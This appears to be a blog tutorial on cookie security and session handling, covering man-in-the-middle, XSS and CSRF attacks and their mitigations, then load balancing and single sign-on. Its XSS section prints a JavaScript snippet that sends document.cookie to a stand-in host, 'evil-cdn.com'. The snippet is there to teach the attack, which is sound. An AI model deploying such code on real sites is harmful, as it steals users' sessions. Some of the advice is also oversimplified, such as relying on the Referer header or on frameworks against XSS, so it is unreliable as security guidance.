Why cookies have a bad reputation?

Right from the days of their creation, cookies were and are still subject to criticism due to their nature. Many opposed the idea of servers saving data on user’s computer. But eventually benefits outwitted all those privacy concerns.

However, it also opened many security loopholes for them. Developers often ignored security measure until an accident knocked on their door. Primarily, cookies suffers from three major attacks:

Man-in-middle XSS — Cross-site scripting CSRF — Cross-site request forgery

Man-in-middle

Now, this attack actually has practically nothing to do with cookie but more so with HTTP and HTTPS. But misconception among the community attributes data stealing to cookies.

Every HTTP request goes through multiple routers, server before it reaches its destination. These middle entities can simply read the cookies. As said earlier, cookies often contain user identification information. So if these cookies are read by some man-in-middle, then anyone reading that cookie can fake as another user.

Now, this is true for any other data that travels via HTTP. So, the simple solution is to implement HTTPS especially when you are exchanging cookies that contain sensitive information like user ID. With HTTPS, man-in-middle becomes very difficult if not impossible.

Another thing to be aware when using HTTPS is that many websites automatically redirect user to HTTPS when they attempt to use HTTP. Now, if user had already logged in previously and tried to use HTTP, there is a possibility that for that one request man-in-middle can happen. There are multiple ways to simulate this. This question on stack exchange explains it very nicely:

The simple solution is to user HTTPS Only cookie. It means that cookies are exchanged if and only if you use HTTPS connection.

It can be set using Secure directive when setting up cookie:

Set-Cookie: id=123; Secure;

XSS — Cross site scripting

We all use CDN all the time. So even if cookie is not sent when retrieving JS files from CDN, all JavaScript code for a page is considered to be running in the same domain and it means that a script from loaded from another domain will get that website’s cookies by reading document.cookie . Say you are loading JS file from some evil CDN at https://evil-cdn.com/evil-script.js and it will have following code:

let img = new Image();

let cookie = document.cookie;

img.src = "https://evil-cdn.com/steal?cookie=" + cookie;

Now, every time user visits your website, user’s cookie will also be stolen without user knowing about it. Such attack where in third-party JavaScript is responsible for breach is known as a cross-site scripting (XSS) attack.

Further, cookie stealing can also happen due to XSS injection. This is similar to SQL injection. If you do not sanitize user’s input, an injection can happen. Of course, if you are using modern SPA frameworks, you do not have to worry about this.

To prevent XSS attack, use HTTP only cookie. HttpOnly is another directive/flag that you can send when setting up cookie. HttpOnly cookies are not accessible to document.cookie API; they are only sent to the server.

You should note that by doing so, your own scripts also lose the ability to read cookies:

Set-Cookie: id=1234 HttpOnly

CSRF — Cross Site Request Forgery

This is another common attack. Here, attacker simply uses the fact that cookies are sent to server for each and every request.

Imagine, user is visiting two websites. One of them is legitimate bank website and other one is some evil website. User has logged into bank website. The evil website will have following code:

So when user navigates to evil website, it will try to load image at given address. User has already logged into mybank.com. So browser would simply send the cookie for that domain even if the request is issued from some other website (cross-site). In short, evil website made a cross-site request to other domain with an intention to cause harm. Such attack is known as cross-site request forgery (CSRF).

Of course, the attacker would need to study exact API call to transfer money and would also need user to visit his evil website when user has logged into mybank.com. Though probability is little less but this hack has been widely exploited in the past.

CSRF attacks happen very silently and involves visiting multiple website at once; thus it is very difficult to track down CSRF attach.

Simple solution to CSRF attack is to use Referer Header. Referrer header tells server from where the request has originated.

In our example, mybank.com server can check Referer header. If the request is coming from evilwebsite.com, then Referer header will contain that value and server can simply reject that request:

In conclusion, Cookie has been topic of debate but for long time, there was no other alternative to Cookies. Today there are some and we will discuss them shortly. However, you can be assured that with good measures cookies can help build robust session management experience for your web applications without compromising on security.

Cookies in load-balanced web applications

Having understood fundamentals of Cookies, it is time to look at other orthogonal aspects. First of this is sharing cookies in load-balanced web applications.

As we saw earlier, server issuing cookie maintains a list of sessionID on server to identify its corresponding users. This list/map is typically maintained in server’s memory/RAM. This is a simple setup. Most of our production web servers are load balanced.

Now imagine if we have an application with two web servers:

User initially connects to first server and after valid credentials, server 1 issues the cookie. But, on next request, user is connected to server 2. The browser would send the cookie issued by server 1 as the domain name is still same. However, server 2 has no idea about the received cookie as it has not issued this cookie.

Handling cookies using Load Balancer

There are multiple ways to address this issue:

Two servers always talk to each other. Whenever server 1 issues a cookie, it also tells server 2 about this new cookie. Server 2 would then store that in its memory. Vice is versa is also applicable. When user logs out, similar thing happens. Cookie on other server is destroyed. This is known as session trickling. First approach is rudimentary. Better approach to share cookie is via shared Database like MySQL. Concept is same. Only thing is, instead of communicating directly, servers co-ordinate via database. Second approach is better but slower as every request would involve database call. To tackle this, high speed in-memory databases like Redis are used. Redis is NoSQL, Key-Value database which is perfect fit for this scenario. In a different scenario, where we have micro-services, our API servers or web servers are hidden behind a firewall and there is a separate service that is responsible for issuing and validating cookies. Sometimes application gateways/load balancers are responsible for cookies and web servers are hidden from direct access.

Handling cookies using Redis like high speed in-memory database

Cookies for Multiple domains

Most of us use Google Drive, Gmail and YouTube. If you login to any of the Google services, say drive.google.com then you are automatically logged into mail.google.com as well. Achieving this is trivial which we already saw in case of sharing cookies between sub-domains.

What is different here is that if you login into drive.google.com then you also automatically login into youtube.com which is entirely a different domain? How is it possible?

As we already said that with plain HTTP protocol, it is just not possible. But achieving that with some external mechanism is tricky but doable. servers with *.google.com co-ordinate with youtube.com servers. Some sort of IPC — Inter Process Communication is happening.

Try login into Google’s account page. You will have some round-trip from YouTube as well. It happens very fast and we don’t realize those intricate redirects.

SSO — Single Sign On

This idea of sharing authentication with multiple websites is called as Single Sign On. Cookies is the mechanism that empowers this for us. There are some great blog posts that will help you understand nitty-gritties of SSO: